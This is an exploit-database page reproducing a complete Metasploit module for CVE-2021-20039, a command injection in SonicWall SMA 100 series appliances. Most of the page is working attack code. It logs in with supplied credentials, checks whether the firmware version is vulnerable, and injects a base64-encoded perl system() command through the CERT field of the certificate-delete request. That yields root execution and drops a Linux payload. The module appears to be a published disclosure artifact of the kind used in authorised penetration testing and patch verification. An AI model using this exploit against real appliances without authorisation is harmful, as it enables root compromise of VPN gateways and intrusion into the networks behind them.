SonicWall SMA 100 Series Authenticated Command Injection

2022.01.13
Credit: jbaines-r7
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'SonicWall SMA 100 Series Authenticated Command Injection', 'Description' => %q{ This module exploits an authenticated command injection vulnerability in the SonicWall SMA 100 series web interface. Exploitation results in command execution as root. The affected versions are: - 10.2.1.2-24sv and below - 10.2.0.8-37sv and below - 9.0.0.11-31sv and below }, 'License' => MSF_LICENSE, 'Author' => [ 'jbaines-r7' # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'CVE', '2021-20039' ], [ 'URL', 'https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026'], [ 'URL', 'https://www.rapid7.com/blog/post/2022/01/11/cve-2021-20038-42-sonicwall-sma-100-multiple-vulnerabilities-fixed-2'], [ 'URL', 'https://attackerkb.com/topics/9szJhq46lw/cve-2021-20039/rapid7-analysis'] ], 'DisclosureDate' => '2021-12-14', 'Platform' => ['linux'], 'Arch' => [ARCH_X86], 'Privileged' => true, 'Targets' => [ [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'echo', 'printf' ] } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'PrependFork' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'The password to authenticate with', 'password']), OptString.new('SWDOMAIN', [true, 'The domain to log in to', 'LocalDomain']), OptString.new('PORTALNAME', [true, 'The portal to log in to', 'VirtualOffice']) ]) end ## # Extract the version number from a javascript include in the login landing page. # And compare the version against known affected. Affected versions are: # # 10.2.1.2-24sv and below # 10.2.0.8-37sv and below # 9.0.0.11-31sv and below ## def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/cgi-bin/welcome'), 'agent' => 'SonicWALL Mobile Connect' }) return CheckCode::Unknown('Failed to retrieve the version information') unless res&.code == 200 version = res.body.match(/\.([0-9.\-a-z]+)\.js" type=/) return CheckCode::Unknown('Failed to retrieve the version information') unless version version = version[1] major, minor, revision, build = version.split('.', 4) build, point = build.split('-', 2) print_status("Version found: #{major}.#{minor}.#{revision}.#{build}-#{point}") point.delete_suffix('sv') case major when '9' return CheckCode::Safe unless minor.to_i == 0 && revision.to_i == 0 && build.to_i <= 11 && point.to_i <= 31 when '10' return CheckCode::Safe unless minor.to_i == 2 case revision when '0' return CheckCode::Safe unless build.to_i <= 8 && point.to_i <= 37 when '1' return CheckCode::Safe unless build.to_i <= 2 && point.to_i <= 24 else return CheckCode::Safe end else return CheckCode::Safe end CheckCode::Appears('Based on the discovered version.') end def login res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/cgi-bin/userLogin'), 'agent' => 'SonicWALL Mobile Connect', 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'domain' => datastore['SWDOMAIN'], 'portalname' => datastore['PORTALNAME'], 'login' => 'true', 'verifyCert' => '0', 'ajax' => 'true' }, 'keep_cookies' => true }) fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200 fail_with(Failure::NoAccess, 'Login failed') unless res.get_cookies.include?('swap=') print_good('Authentication successful') end ## # Send the exploit in the "CERT" field when "deleting" a certificate. The # backend requires the payload start with "n". Also, there is a very small # amount of space to fit the command into (otherwise we'll trigger a bof). # Finally! The command has a lot of disallowed characters: /$&|>;`^. Which # is problematically for basically all the payloads. The system also is # missing useful tools like wget, base64, and curl (10.2 has curl but # whatever). As such, it seemed the easiest thing to do is wrap the entire # command in base64 and then use perl to decode/execute it. ## def execute_command(cmd, _opts = {}) cmd_encoded = Rex::Text.encode_base64(cmd) perl_eval = "n\nperl -MMIME::Base64 -e 'system(decode_base64(\"#{cmd_encoded}\"))'" multipart_form = Rex::MIME::Message.new multipart_form.add_part('delete', nil, nil, 'form-data; name="buttontype"') multipart_form.add_part(perl_eval, nil, nil, 'form-data; name="CERT"') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/cgi-bin/viewcert'), 'agent' => 'SonicWALL Mobile Connect', 'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}", 'data' => multipart_form.to_s }, 5) if res && res.code != 200 # the response should always be 200, unless meterpreter holds the # connection open. fail_with(Failure::UnexpectedReply, 'Only expected 200 OK') end end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") login execute_cmdstager(linemax: 40) end end


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top